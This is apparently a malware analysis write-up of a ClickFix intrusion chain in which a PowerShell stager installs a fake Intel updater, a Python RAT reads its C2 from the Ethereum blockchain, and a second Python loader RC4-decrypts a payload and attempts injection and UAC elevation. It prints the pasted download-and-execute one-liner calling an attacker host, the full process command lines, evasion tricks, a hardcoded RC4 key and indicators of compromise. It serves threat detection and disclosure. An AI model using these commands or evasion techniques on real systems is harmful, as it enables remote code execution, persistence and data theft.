*Published: 7/21/2026* > **High-level Overview:** A user pasted a ClickFix one-liner into the Run box and it ran the whole way through in about a minute. A PowerShell stager pulled a fake "Intel Software Updater" (an Inno Setup installer) into the `EdgeUpdate` folder, that installer unpacked a self-contained Python runtime and launched a Python RAT, and the RAT set a scheduled task for persistence, fingerprinted the box, and then did the two things worth the writeup. It read from the Ethereum blockchain as a dead-drop resolver (EtherHiding), and it fed a second PowerShell script over STDIN that pulled a second, different Python loader into `ProgramData`. That second loader then ran, decrypted its payload with an inline RC4 routine keyed on a hardcoded value, and moved on toward process injection and a UAC elevation attempt. This one completed. Two payloads landed, persistence was set, and outbound C2 succeeded on all three domains. ## The chain at a glance ``` [explorer.exe] user pastes into Run box │ └─▶ powershell.exe -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" │ DNS allianurkoa[.]com → 104.21.96[.]109 (Cloudflare), :80 + :443 │ └─▶ powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File %TEMP%\<stager>.ps1 │ drops → %LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe │ └─▶ IntelSoftwareUpdaterV8.exe (Inno Setup installer) │ └─▶ is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp /SL5="..." │ extracts embedded CPython 3.11 → │ %LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\ │ └─▶ pythonw.exe run.pyw ← PYTHON RAT #1 ├─▶ schtasks /Create /TN IntelSoftwareUpdater /XML %TEMP%\t.xml (persistence) ├─▶ cmd /c ver (OS recon) ├─▶ powershell (Get-CimInstance ...SecurityCenter2 AntiVirusProduct).displayName (AV enum) │ ├─▶ DNS ethereum-rpc.publicnode[.]com → 104.20.24[.]117:443 │ ↑ EtherHiding dead-drop (eth_call reads C2 off-chain) │ └─▶ powershell -NoProfile -NonInteractive -NoLogo -Command - ↑ script fed over STDIN (no command-line artifact) │ DNS whitecarkiario[.]com → 2.27.160[.]121:443 │ downloads Python.zip + Learn.zip from /Smoke/ └─▶ C:\ProgramData\5bGGk1dehDhlPQC5\ ← PYTHON LOADER #2 python*.exe + python313.dll + mod.pyc + <rand>.lnk │ └─▶ pythonw.exe mod.pyc runs, RC4-decrypts payload (key ZA8W37…) ├─▶ opens handles into winver.exe (injection) └─▶ svchost.exe -s Appinfo + consent.exe (UAC elevation attempt) ``` ## Stage-by-stage ### Stage 0: ClickFix delivery The parent process is `explorer.exe`, which tells you the command was typed or pasted straight into the `Win + R` Run dialog rather than dropped by another process, and that is the ClickFix signature. > [!example]- ClickFix root > ```python > "powershell.exe" -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" > ``` `irm` is `Invoke-RestMethod` and `iex` is `Invoke-Expression`, so this fetches a script from a URL and runs it in memory with nothing written to disk yet. The `ukvmxeyflvvqr` subdomain is random noise sitting in front of the real domain `allianurkoa[.]com`, and the `/s/psc3` path is the payload selector. ### Stage 1: the PowerShell stager The child PowerShell writes and runs a stager into `%TEMP%`. It was recovered in both cleartext and a gzip-plus-base64 form, and the two decode to the same script. What it does is worth reading closely, because the whole thing is built to survive a sandbox and dodge string-match rules: - It creates `%LOCALAPPDATA%\EdgeUpdate`, which masquerades as Microsoft Edge's own updater directory. - It runs a magic-byte validator that confirms the download really is an MSI (`D0 CF 11 E0`), EXE (`4D 5A`), ZIP (`50 4B`), 7z, or RAR before it trusts the bytes. That is anti-corruption and anti-tarpit logic, so a defender feeding it junk gets nowhere. - The downloader carries a custom User-Agent with a campaign build tag riding inside it, `(dl-c/x7k9m2)`, and it sends a nonstandard header, `X-Panel-Internal: 1`. That header is server-side gating: a sandbox or a replay that omits it gets nothing back. - It assembles the cmdlet name at runtime as `'Invoke-We' + 'bRequest'` so the literal `Invoke-WebRequest` never appears in the script. On success it launches the payload hidden through `Start-Process -WindowStyle Hidden`, with a `cmd /c start "" "<path>"` fallback if that fails, and along the way it flips the execution policy from Restricted to Bypass. ### Stage 2: the fake "Intel Software Updater" > [!example]- Inno Setup unpacking itself > ```python > %LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe > └─ is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp /SL5="$1E088C,10202274,893952,...EXE" > ``` The `/SL5=` argument, the `is-*.tmp` working directory, and the `_isetup\_setup64.tmp` support file are the unmistakable signature of an Inno Setup installer unpacking itself. It carries no valid signature, and it hides its payload PE inside the installer's resource section. ### Stage 3: Python RAT #1, an embedded CPython 3.11 The Inno `.tmp` extracts a complete Python runtime into `%LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\` and launches `pythonw.exe run.pyw`. The folder name is chosen to look like the Microsoft Store Python alias, but it is nothing of the sort: the genuine Store alias is a zero-byte reparse point, whereas this directory holds a full sideloaded runtime that brings its own copy of every module. ``` python311.dll python3.dll vcruntime140.dll libcrypto-3.dll libssl-3.dll _ctypes.pyd _hashlib.pyd _ssl.pyd _socket.pyd _bz2.pyd _lzma.pyd select.pyd ``` Inside two seconds, `run.pyw` does three things. For persistence it runs `schtasks /Create /F /TN IntelSoftwareUpdater /XML %TEMP%\t.xml`, which registers and immediately starts a task whose action is that same `pythonw.exe run.pyw`. For recon it runs `cmd /c ver`, reads `(Get-CimInstance Win32_OperatingSystem).Caption`, and enumerates installed AV through `(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct).displayName`. Then it reaches out to `ethereum-rpc.publicnode[.]com`, and that is the one that matters. A non-browser, non-wallet process talking to a public Ethereum RPC node is the whole tell. The RAT issues an `eth_call` to read attacker data straight off a smart contract, which is an encrypted next-stage C2 address or config, and because the read looks like ordinary Web3 traffic and the data lives on-chain, there is no domain to sinkhole and no server to seize. This is EtherHiding, and it is the reason this chain is worth documenting rather than filing as one more ClickFix stealer. ### Stage 4: STDIN PowerShell into Python loader #2 > [!example]- Script fed over STDIN > ```python > pythonw.exe > └─ powershell.exe -NoProfile -NonInteractive -NoLogo -Command - > ``` The trailing bare `-` means the script is piped in over STDIN, so the real code never touches the command line and anything reading only the command line sees an empty `powershell -Command -`. The body decodes to a loader that blind-trusts TLS with `ServerCertificateValidationCallback = {$true}`, forces TLS 1.2 or 1.3, and pulls two archives from `whitecarkiario[.]com/Smoke/`: `Python.zip`, which is another runtime, and `Learn.zip`, which is the payload. It expands them into `C:\ProgramData\<16-random>\` with `mod.pyc` as the entrypoint, builds a `.lnk` in `ProgramData` through `WScript.Shell.CreateShortcut` pointing at that pyc, and renames its `pythonw.exe` to a random name. What lands is a second, different runtime, Python 3.13 this time rather than the 3.11 from Stage 3, and its two-ZIP "runtime plus payload" shape is the delivery vehicle the PureHVNC/PureLog and Amatera stealer families ride in this same ecosystem. `whitecarkiario[.]com` resolved to `2.27.160[.]121`. ### Stage 5: the second loader runs The second loader does not just sit on disk, it executes. `C:\ProgramData\5bGGk1dehDhlPQC5\pythonw.exe` runs `mod.pyc`, and next to it a short inline Python program decrypts the payload with a hand-rolled RC4 routine keyed on a hardcoded value: > [!example]- Inline RC4 decryptor (second loader) > ```python > pythonw.exe -c "import sys, os > key = b'ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW' > def rc4(key, data): > S = list(range(256)); j = 0 > for i in range(256): > j = (j + S[i] + key[i % len(key)]) % 256 > S[i], S[j] = S[j], S[i] > ... # standard RC4 keystream, decrypts the next stage in memory" > ``` From there the tail of the tree turns to injection and elevation. The loader opens handles into `winver.exe` and spawns it, which is the shape of process hollowing into a small signed binary, and it reaches into the `svchost.exe` that hosts the AppInfo service with `consent.exe` firing right behind it. AppInfo plus `consent.exe` is the Windows path for launching an elevated process, so this reads as the loader trying to inject and to run with higher privileges rather than settling for a user-context stealer. ## What actually stands out Most of this chain is standard ClickFix loader plumbing. The parts worth keeping in your head are the few that are genuinely new or that make this one harder to pin down: - **The blockchain dead-drop:** the C2 resolver lives on Ethereum mainnet, so it cannot be taken down and its traffic reads as legitimate Web3. - **STDIN-fed PowerShell:** the second-stage script is piped in over STDIN and never appears on the command line. - **The fake Store-Python runtime:** a full sideloaded interpreter sitting where the OS puts a zero-byte alias, which is a masquerade that also hands the operator DLL sideloading for free. - **Two separate Python runtimes:** 3.11 for the first RAT and 3.13 for the second loader, staged from two different domains, so killing one runtime does not touch the other. - **The resolver is polled, not pinged once:** the on-chain RPC was contacted repeatedly across more than one Cloudflare edge (`104.20.24[.]117` and `172.66.150[.]162`), which is what an EtherHiding beacon looks like on the wire. - **The second stage carries its own crypto and its own injection:** `mod.pyc` RC4-decrypts its payload with a recoverable hardcoded key and then moves on `winver.exe` and the AppInfo elevation path, so it is more than a passive stealer download. ## Attribution The technique stack points at the ClickFix and EtherHiding malware-as-a-service ecosystem that grew out of CLEARFAKE and CLEARSHORT, the framework GTIG tracks under UNC5142 and that a growing set of imitators now reuse. The load-bearing overlaps are the ClickFix `iex(irm …)` front door pasted through the Run box, the reading of the next stage off a public blockchain rather than a takedownable domain, the fake software-updater delivery through Inno Setup that unpacks a bundled `pythonw.exe`, the hidden updater-named scheduled task, and the handoff to a second Python loader. Microsoft and Malwarebytes both documented this exact shape in 2026 ClickFix reporting. What keeps this from a clean single-actor call is the specifics. The infrastructure here does not match a published UNC5142 indicator set, and canonical UNC5142 EtherHiding runs on BNB Smart Chain with a JavaScript (CLEARSHORT) first stage, whereas this sample uses Ethereum mainnet through PublicNode and an all-Python payload stack that sits closer to the EtherRAT-style Ethereum resolver seen in the Potemkin/RMMProject campaign. The honest read is a financially motivated operator running the ClickFix to EtherHiding to Python-loader playbook out of this shared ecosystem, most likely staging a stealer, rather than a pinned named group. ## Indicators **Domains** - `allianurkoa[.]com` (seen as `ukvmxeyflvvqr.allianurkoa[.]com`): ClickFix stager host - `ethereum-rpc.publicnode[.]com`: EtherHiding resolver, a legitimate RPC provider being abused - `whitecarkiario[.]com`: second-stage Python loader host (`/Smoke/Python.zip`, `/Smoke/Learn.zip`) **IPs** - `104.21.96[.]109` (ports 80, 443), allianurkoa[.]com via Cloudflare - `104.20.24[.]117` (port 443), ethereum-rpc.publicnode[.]com via Cloudflare - `172.66.150[.]162` (port 443), additional Cloudflare edge for the Ethereum RPC, contacted repeatedly during the on-chain polling - `2.27.160[.]121` (port 443), whitecarkiario[.]com **Paths / artifacts** - `%LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe` - `%LOCALAPPDATA%\Temp\is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp` - `%LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\` (pythonw.exe, run.pyw, sideloaded DLLs) - `%TEMP%\t.xml` (scheduled-task definition) - `C:\ProgramData\5bGGk1dehDhlPQC5\` (Python 3.13 runtime, `mod.pyc`, renamed `pythonw.exe`) and `C:\ProgramData\5bGGk1dehDhlPQC5.lnk` - Scheduled task: `\IntelSoftwareUpdater` **Second-stage loader** - Entry point `mod.pyc` under `C:\ProgramData\5bGGk1dehDhlPQC5\` - Inline RC4 key: `ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW` - Injection / handle-access targets: `winver.exe`, and the AppInfo service host `svchost.exe -k netsvcs -p -s Appinfo` with `consent.exe` **Host tells** - User-Agent build tag `(dl-c/x7k9m2)` - Request header `X-Panel-Internal: 1` **SHA256** - `63247ad356030aafec82af887892c6e66e945c861e8695bb5541e5807b1703fd`: IntelSoftwareUpdaterV8.exe - `d4663d18df681d38042e3b455a9308dc55e5745b6a95ad24bc0d0d21070d53fe`: IntelSoftwareUpdaterV8.tmp - `d5355e1de2a5195dccb1ba524b146aa7705be71af18d876819756838251b37b3`: pythonw.exe (Stage 3 runtime) - `2d89f4b3845276f5996279cf4364f57d5aba4ee40f25df12b8034e35e9b61704`: stager .ps1 - `388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95`: _setup64.tmp (Inno support) **Command lines (process tree)** > [!example]- Command lines observed, in execution order > ```python > # Stage 0: ClickFix paste into the Run box > "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" > > # Stage 1: hidden stager > "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\<user>\AppData\Local\Temp\b5872b994e4c48b7b579b0fe76622daa.ps1 > > # Stage 2: fake Intel updater (Inno Setup) unpacking itself > "C:\Users\<user>\AppData\Local\EdgeUpdate\IntelSoftwareUpdaterV8.exe" > "C:\Users\<user>\AppData\Local\Temp\is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp" /SL5="$1E088C,10202274,893952,C:\Users\<user>\AppData\Local\EdgeUpdate\IntelSoftwareUpdaterV8.exe" > > # Stage 3: Python RAT #1, then persistence and recon > "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\pythonw.exe" "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\run.pyw" > C:\WINDOWS\System32\schtasks.exe /Create /F /TN IntelSoftwareUpdater /XML C:\Users\<user>\AppData\Local\Temp\t.xml > C:\WINDOWS\system32\cmd.exe /c "ver" > powershell.exe -NoProfile -NonInteractive -Command "(Get-CimInstance Win32_OperatingSystem).Caption" > powershell.exe -NoProfile -NonInteractive -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct).displayName" > > # Stage 4: second-stage PowerShell fed over STDIN (body not on the command line) > powershell.exe -NoProfile -NonInteractive -NoLogo -Command - > > # Stage 5: second loader executes, RC4-decrypts, then injection + elevation > "C:\ProgramData\5bGGk1dehDhlPQC5\pythonw.exe" "C:\ProgramData\5bGGk1dehDhlPQC5\mod.pyc" > C:\ProgramData\5bGGk1dehDhlPQC5\pythonw.exe -c "import sys, os; key = b'ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW'; def rc4(key, data): ... # decrypts next stage in memory" > C:\Windows\System32\winver.exe > consent.exe <pid> <pid> <handle> > ``` ## References - GTIG / Google Cloud, "UNC5142 Leverages EtherHiding to Distribute Malware." https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware - Lindensec, "Dissecting a Live ClickFix Attack: EtherHiding, WebDAV Abuse, and How ASR Saves the Day." https://www.lindensec.com/post/dissecting-a-live-clickfix-attack-etherhiding-webdav-abuse-and-how-asr-saves-the-day - Picus Security, "EtherHiding: How Web3 Infrastructure Enables Stealthy Malware Distribution." https://www.picussecurity.com/resource/blog/etherhiding-how-web3-infrastructure-enables-stealthy-malware-distribution - Barracuda, "EtherHiding gives cybercriminals access to blockchain networks impervious to takedowns." https://blog.barracuda.com/2025/10/31/etherhiding-cybercriminals-blockchain-networks A full chain, start to finish, from one pasted line to a stealer reading its orders off a blockchain. Happy hunting.